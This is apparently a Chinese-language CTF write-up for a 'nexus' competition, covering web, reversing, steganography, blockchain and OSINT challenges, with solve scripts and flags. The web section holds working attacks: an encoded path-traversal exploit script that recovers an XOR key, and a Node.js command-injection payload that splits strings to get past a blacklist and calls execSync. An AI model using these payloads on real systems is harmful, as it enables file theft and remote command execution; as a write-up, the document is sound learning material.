web

Secure Storage

两个漏洞点

1.目录穿越

func (s *Server) handleDownload(w http.ResponseWriter, r *http.Request) {
	dir, key, err := s.getOrCreateSession(w, r)
	if err != nil {
		http.Error(w, err.Error(), http.StatusInternalServerError)
		return
	}

	fileName := r.PathValue("file")
	fmt.Println(fileName)
	filePath := path.Join(dir, fileName)
	fmt.Println(filePath)

这里拼接路径使用的是path.Join是url解码后直接拼接,而不是用filepath这个库,所以可以使用

..%2f..%2f..%2fflag.txt

这样读文件,但是读到的文件是加密,我们需要找到密钥,下面就是第二个漏洞点
2.xor异或加密

func xorCopy(dst io.Writer, src io.Reader, key []byte) error {
    // ...
    out[i] = buf[i] ^ key[(int(pos)+i)%len(key)]
    // ...
}

每一个session都会生成一个64字节的key key与文件内容异或之后发送给用户
如果知道一个文件明文和密文便可以知道密钥
正好目录下有一个logo.png文件明文,使用目录穿越得到其密文,然后就能得到key,然后就能读取任意文件了
image.png

import requests
from pwn import xor 
import urllib.parse

BASE_URL = "http://ctf.nexus-security.club:6213" # 请替换为实际题目地址

s = requests.Session()

r = s.get(BASE_URL + "/")
r_plain = s.get(BASE_URL + "/logo.png")
plaintext_logo = r_plain.content
lfi_payload = "..%2f..%2f..%2fproc%2fapp%2flogo.png"
r_enc = s.get(f"{BASE_URL}/download/{lfi_payload}")
lfi_payload = "..%2f..%2fapp%2flogo.png" # 假设部署在 /app
r_enc = s.get(f"{BASE_URL}/download/{lfi_payload}")
ciphertext_logo = r_enc.content
key_stream = xor(plaintext_logo[:64], ciphertext_logo[:64])
print(f"[+] Key recovered (hex): {key_stream.hex()}")
target = "..%2f..%2f..%2fflag.txt"

r_flag = s.get(f"{BASE_URL}/download/{target}")
encrypted_flag = r_flag.content
decrypted_flag = xor(encrypted_flag, key_stream)
print(decrypted_flag)
#nexus{l34k_7h3_k3y_br34k_7h3_c1ph3r}

Calculator

看到json直接想打rce发现过滤一些黑名单,可以拼接绕过

{
  "expr": "module['req'+'uire']('chi'+'ld_pro'+'cess')['exe'+'cSync']('cat f*').toString()"
}

nexus{7h1s_1s_no7_3v4l_Th1s_15_3v1lllllllllllllllllll}

re

huntMe1

image.png

shift+F12直接看到flag

nexus{h1dd3n_1n_7h3_f0r357_4t_n1gh7}

hunterMe2

image.png

满足
$$\text{flag}[i] \oplus \text{sub_401239}(i) == \text{byte_402060}[i]$$

image.png
sub_401239是一个密钥生成函数,可以直接拿来用

image.png

密文也有了,可以直接写脚本

def solve():
    target = [
        0xF8, 0x98, 0x76, 0xFB, 0xC9, 0x0A, 0x03, 0x0D, 0x44, 0x3D, 0x6B,
        0xA6, 0xC3, 0x25, 0xA8, 0x60, 0xFB, 0x57, 0x6C, 0xF3, 0xA1,
        0xF0, 0xCF, 0x61, 0xE6, 0xE4, 0x45, 0x16, 0x0E, 0x18, 0x3E, 0x27
    ]

    data_chunks = [
        [0xA8, 0xC5, 0x83, 0xA0, 0x42, 0x2C, 0x01], # unk_402020
        [0xCB, 0x32, 0x20, 0xF3, 0xCF, 0x65, 0xBC], # unk_402027
        [0x13, 0x79, 0xB2, 0x29, 0x74, 0x61, 0xE7], # unk_40202E
        [0xA7, 0x68, 0x76, 0x0A, 0x4E, 0x39, 0x43], # unk_402035
        [0xF1, 0xCD, 0x12, 0xB2, 0x7D, 0x0B, 0x2D]  # unk_40203C
    ]

    def sub_401201(a1, a2):
        term1 = (61 * a2)
        inner_xor = (8 * a1) ^ a1
        term2 = (inner_xor & 0xFF) >> 5
        res = term1 ^ term2 ^ inner_xor
        return res & 0xFF

    def get_key(idx):
        v6 = 0
        for i in range(5):
            v3 = (idx * (i + 1) + i * i + 3) % 7
            v6 ^= data_chunks[i][v3]
            v6 = ((v6 << 1) | (v6 >> 7)) & 0xFF
            
        return sub_401201(v6, idx)

    flag = ""
    print("正在解密...")
    for i in range(32):
        key = get_key(i)
        decrypted_char = target[i] ^ key
        flag += chr(decrypted_char)

    print("-" * 30)
    print("Flag:", flag)
    print("-" * 30)

if __name__ == "__main__":
    solve()
    
#nexus{f0ll0w_7h3_ch4ng1ng_7r41l}

blank

image.png
程序的核心逻辑是对10段32字节的数据进行XOR解密:
从IDA找到NUM_SEGMENTS=10pads[320]cipher_segments[320],逐字节对padscipher_segments进行XOR操作

cipher_segments = [
    0xA5, 0xB1, 0x27, 0x27, 0x53, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x90, 0xDE, 0x9E, 0xE6, 0x2E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x03, 0x6C, 0x5F, 0x5A, 0x5E, 0xD6, 0x12, 0x6D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x5C, 0xEA, 0xBB, 0x9F, 0xDE, 0x76, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x75, 0x25, 0x43, 0xFA, 0x0C, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x78, 0xEC, 0xD9, 0xCA, 0xB2, 0xDC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xE4, 0xAA, 0x4C, 0x3E, 0x46, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xB1, 0x63, 0x2B, 0xDB, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x32, 0x18, 0x16, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xBC, 0x2C, 0xD1, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
]

pads = [
    0xCB, 0xD4, 0x5F, 0x52, 0x20, 0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xE4, 0xB6, 0xAD, 0xB9, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x6F, 0x58, 0x38, 0x05, 0x29, 0xE7, 0x7E, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x03, 0x98, 0x88, 0xE9, 0xBB, 0x42, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x2A, 0x14, 0x37, 0x89, 0x3F, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x1E, 0xB3, 0xAE, 0xA2, 0x81, 0xB2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xBB, 0xD3, 0x7C, 0x4B, 0x19, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xC2, 0x17, 0x1B, 0xAB, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x5E, 0x77, 0x79, 0xE9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x8D, 0x42, 0xB6, 0x75, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
]

num_segments = 10
segment_size = 32
result = bytearray()
for i in range(num_segments):
    segment_result = bytearray()
    for j in range(segment_size):
        idx = i * segment_size + j
        decrypted_byte = cipher_segments[idx] ^ pads[idx]
        segment_result.append(decrypted_byte)
    try:
        null_pos = segment_result.index(0x00)
        segment_result = segment_result[:null_pos]
    except ValueError:
        pass
    
    result.extend(segment_result)


ascii_result = result.decode('utf-8')
print("ASCII 解码:")
print(repr(ascii_result))

apeiros

使用了两种混淆 宏定义混淆和控制流平坦化
丢ai直接出
1. 识别核心结构 代码是一个状态机。

  • zzzzz_ZZZ_zZZZ 是状态变量,初始值为 1337 (zzz_ZZ_zzz)。

  • z 是用户输入的字符串数组。

  • Z 是输入字符串的索引(计数器)。
    2. 跟踪状态跳转 我们需要找到一条让程序不报错(不进入 break 或 错误状态)的路径。让我们按顺序分析 switch 中的 case

  • 初始状态 Case 1337 (zzz_ZZ_zzz):

    • 检查 z[Z++] != zzzzzzzzzzzzzzzzzzzzzzzzzz -> 查表得 'n'
    • 检查 z[Z++] != zzzzz_zzzzzzzzzzzz -> 查表得 'e'
    • 检查 z[Z++] != zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz -> 查表得 'x'
    • 检查 z[Z++] != z_zzzzzzzzzzzzzzzzz -> 查表得 'u'
    • 检查 z[Z++] != zzzzzzzzz_zzzzzzzzzzzzzz -> 查表得 's'
    • 检查 z[Z++] != zz_zzzzzzzzzzzzzzzzzzzzzzzzzzzz -> 查表得 '{'
    • 成功后跳转状态: 404 (zzz_ZzzZ_zzz)
    • 当前片段: nexus{
  • 状态 Case 404 (zzz_ZzzZ_zzz):

    • ... != zzzzzzzzzzzzz -> 'p'
    • ... != zzzzzzzz_zzzzzzzzzzzzzzzzzzz -> 'r'
    • ... != zzz_zzzzzzzzzzz -> '3'
    • ... != zzzzzzzzzzzzz -> 'p'
    • ... != zzzzzzzz_zzzzzzzzzzzzzzzzzzz -> 'r'
    • ... != zzzzzzz_zzzz -> '0'
    • ... != zzzzzzzzzzzzzzzzzzzz -> 'c'
    • 成功后跳转状态: 90210 (zzz_ZzzzZ_zzz)
    • 当前片段: pr3pr0c
  • 状态 Case 90210 (zzz_ZzzzZ_zzz):

    • '3'
    • 's'
    • 's'
    • '0'
    • 'r'
    • zzz_zzz -> _ (define 20 看起来不对,查看define z_zzz_)
    • 成功后跳转状态: 8008 (zzz_ZzzzzZ_zzz)
    • 当前片段: 3ss0r_
  • 状态 Case 8008 (zzz_ZzzzzZ_zzz):

    • '4'
    • 'r'
    • '3'
    • '_'
    • 'u'
    • 'n'
    • 'd'
    • '3'
    • 'r'
    • 成功后跳转状态: 555 (zzz_ZzzZzzZ_zzz)
    • 当前片段: 4r3_und3r
  • 状态 Case 555 (zzz_ZzzZzzZ_zzz):

    • '3'
    • 's'
    • 't'
    • '1'
    • 'm'
    • '4'
    • 't'
    • '3'
    • 'd'
    • '}'
    • 成功后跳转状态: 101 (zzz_zz_ZZzZ) -> 循环结束,打印成功信息。
    • 当前片段: 3st1m4t3d}

将上述分析的所有字符片段拼接起来,就是这道题的 Flag
nexus{pr3pr0c3ss0r_4r3_und3r3st1m4t3d}

oops!

image.png

查看main函数发现一个xor运算
temp_keyS0E= base64解码 KA
image.png
.data中一大串 觉得是密文直接循环异或得到flag

import base64

# key
key = base64.b64decode(b"S0E=")  # b"KA"

# synt 原始数据
synt = bytes([
    0x25,0x24,0x33,0x34,0x38,0x3A,0x7C,0x29,0x78,0x1E,0x28,0x71,0x2F,0x72,
    0x14,0x38,0x7B,0x34,0x14,0x33,0x78,0x75,0x2F,0x1E,0x39,0x72,0x2D,0x2D,
    0x78,0x22,0x7C,0x74,0x14,0x76,0x23,0x72,0x14,0x2C,0x7A,0x2F,0x2F,0x1E,
    0x32,0x71,0x3E,0x1E,0x28,0x75,0x39,0x33,0x32,0x1E,0x25,0x71,0x7C,0x1E,
    0x7C,0x29,0x78,0x1E,0x3C,0x71,0x39,0x2D,0x2F,0x1E,0x32,0x71,0x3E,0x1E,
    0x2D,0x72,0x7F,0x33,0x36
])

out = bytearray()

for i, b in enumerate(synt):
    out.append(b ^ key[i % len(key)])

print(out.decode())
#nexus{7h3_c0d3_y0u_r34d_r3fl3c75_7h3_m1nd_y0u_c4rry_n07_7h3_w0rld_y0u_f34r}

tarnished

这题应该考察的反调试,不过可以静态分析
off_47F000 指向 7 个 7 字节表

T0 = unk_47F062
T1 = unk_47F05B
T2 = unk_47F054
T3 = unk_47F04D
T4 = unk_47F046
T5 = unk_47F03F
T6 = unk_47F038

dword_47F070[i] = 7,所以每个表全部参与。
拼接方式

for v17 = 0..6:
  for i = 0..6:
    v13.push( table[i][v17] )

得到 49 字节。
flag 的生成算法:

key = 0x409071AE6EE9506B  // 8 bytes, little endian

for i in range(49):
  in  = v13[i]
  k   = key[i & 7]
  t   = k ^ i ^ in
  t2  = t - (i+1)*k
  r   = (i % 7) + 1
  t3  = ROR(t2, r)
  out = k ^ t3
  v8[i] = out
def ror(x, r):
    x &= 0xff
    return ((x >> r) | (x << (8 - r))) & 0xff


# 7 tables
tables = [
    [0x1E,0x1F,0x2D,0x76,0x8F,0x35,0x1B],
    [0x25,0x47,0x9F,0x04,0x2F,0x67,0xE9],
    [0xAC,0x1A,0xC7,0xAF,0x29,0xAC,0x1E],
    [0x04,0x5F,0x22,0x57,0x48,0x4C,0x2E],
    [0x8B,0xB6,0x9D,0x2D,0x20,0x84,0x33],
    [0x5C,0x2A,0xA4,0xFA,0x12,0x79,0xB2],
    [0x7F,0x39,0xAE,0xD5,0x0C,0x45,0xDD],
]

v13 = []
for col in range(7):
    for row in range(7):
        v13.append(tables[row][col])

key = 0x409071AE6EE9506B
key_bytes = [(key >> (8*i)) & 0xff for i in range(8)]
v8 = []
for i in range(49):
    inp = v13[i]
    k = key_bytes[i & 7]
    t = k ^ i ^ inp
    t2 = (t - (i+1)*k) & 0xff
    r = (i % 7) + 1
    t3 = ror(t2, r)
    out = k ^ t3
    v8.append(out)

flag = bytes(v8)
print(flag.decode())
#nexus{cl34r3d_1t_l1k3_4_pr0_m0v1n_0n_70_7h3_n3x7}

HuntMe3

main 中读取用户输入,并调用 sub_401367 进行校验,成功则输出通关文本。
核心校验在 sub_401367

if (strlen(a1) != 53)
    return 0;

for (i = 0; i <= 52; ++i)
{
    if (sub_4012BC(i) ^ a1[byte_402040[i]] != byte_402080[i])
        return 0;
}

a1[perm[i]]=sub_4012BC(i)⊕target[i]

perm = byte_402040 target = byte_402080 这是一个可逆的逐字节异或校验

 # -*- coding: utf-8 -*-

# -----------------------------
# data from .rodata
# -----------------------------

perm = [
    0x2D,0x2C,0x32,0x14,0x06,0x25,0x0F,0x03,0x22,0x07,0x2F,0x23,
    0x00,0x31,0x1C,0x27,0x10,0x02,0x30,0x0A,0x2A,0x16,0x05,0x12,
    0x1D,0x01,0x09,0x17,0x1B,0x1F,0x1A,0x08,0x0C,0x24,0x04,0x20,
    0x2E,0x34,0x0B,0x26,0x0E,0x33,0x15,0x1E,0x19,0x29,0x13,
    0x11,0x2B,0x28,0x21,0x0D,0x18
]

target = [
    0xC7,0x8E,0x0B,0xE5,0x23,0x81,0x18,0x23,0x27,0xED,
    0x06,0xA1,0x19,0x30,0x38,0xD0,0x2E,0x66,0xE2,0x26,0x6E,
    0x23,0xAA,0xA1,0x5D,0x7D,0x36,0xE5,0x6C,0x6D,0x35,
    0xA0,0x34,0x0C,0xF9,0x84,0xD7,0xC9,0x5E,0x56,0xC2,
    0xE9,0x44,0xE0,0x77,0x7B,0x20,0x78,0x1F,0xD9,0x98,
    0x85,0xF5
]

# -----------------------------
# rotate left 32-bit
# -----------------------------
def rol32(x, r):
    r &= 31
    return ((x << r) | (x >> (32 - r))) & 0xFFFFFFFF

# -----------------------------
# sub_4012A0 (inline in IDA)
# -----------------------------
def sub_4012A0(v, r):
    return rol32(v, r)

# -----------------------------
# sub_4012BC
# -----------------------------
def sub_4012BC(a1):
    v6 = 92
    v5 = -46 & 0xFF
    v4 = 359969064

    for i in range(a1 + 1):
        v6 = (v6 - 4) & 0xFF
        v5 = (v5 + i * i) & 0xFF
        v4 = sub_4012A0(v4, i & 7)

    tmp = ((v4 >> (a1 & 7)) ^ v5 ^ v6) & 0xFF
    v2 = ((8 * tmp) & 0xFF) ^ tmp
    return ((v2 >> 5) ^ v2) & 0xFF

# -----------------------------
# recover flag
# -----------------------------
flag = [0] * 53
for i in range(53):
    pos = perm[i]
    flag[pos] = sub_4012BC(i) ^ target[i]

flag_bytes = bytes(flag)
print(flag_bytes)
print(flag_bytes.decode())

misc

Blinders

LSB隐写
image.png

nexus{yea_u_didi_v2er_wekcj7}

blockchain

Chain Clue

image.png

nexus{Tr4c3_Th3_Tr4ns4ct10n}

Silent Flag

智能合约发出了一个 Stored 事件,你需要从这个事件的日志(Logs)中提取并恢复原始数据。

在以太坊中,非索引(non-indexed)参数会被 ABI 编码后放在 data 字段里

0x0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000001c59524f42444c6f07656803757e68730474077306797068050705024a00000000

偏移量 (Offset) - 前 32 字节 (64个字符): 值为 0x20 (十进制 32)。这表示实际数据从第 32 字节开始(紧接着这块之后)。

长度 (Length) - 接下来的 32 字节 (64个字符):值为 0x1c (十进制 28)。这意味着后面的核心数据长度是 28 个字节。
核心密文 (Content) - 接下来的数据: 59524f42444c6f07656803757e68730474077306797068050705024a

topic1 对应的是 Stored 事件里的第一个参数 id,发现使用0x37异或就能拿到flag

# 1. 从 data 中提取的核心密文 (Hex)
cipher_hex = "59524f42444c6f07656803757e68730474077306797068050705024a"

# 2. 从 topic1 中提取的 Key (0x1337 的最后一位通常是 key)
key = 0x37

# 3. 执行异或 (XOR) 解密
# 将 hex 转为 bytes,逐个字节与 0x37 进行异或
decoded_bytes = bytes([b ^ key for b in bytes.fromhex(cipher_hex)])

# 4. 打印结果
print("Flag:", decoded_bytes.decode('utf-8'))

OSINT

Special Horse

nexus{agnes_tachyon}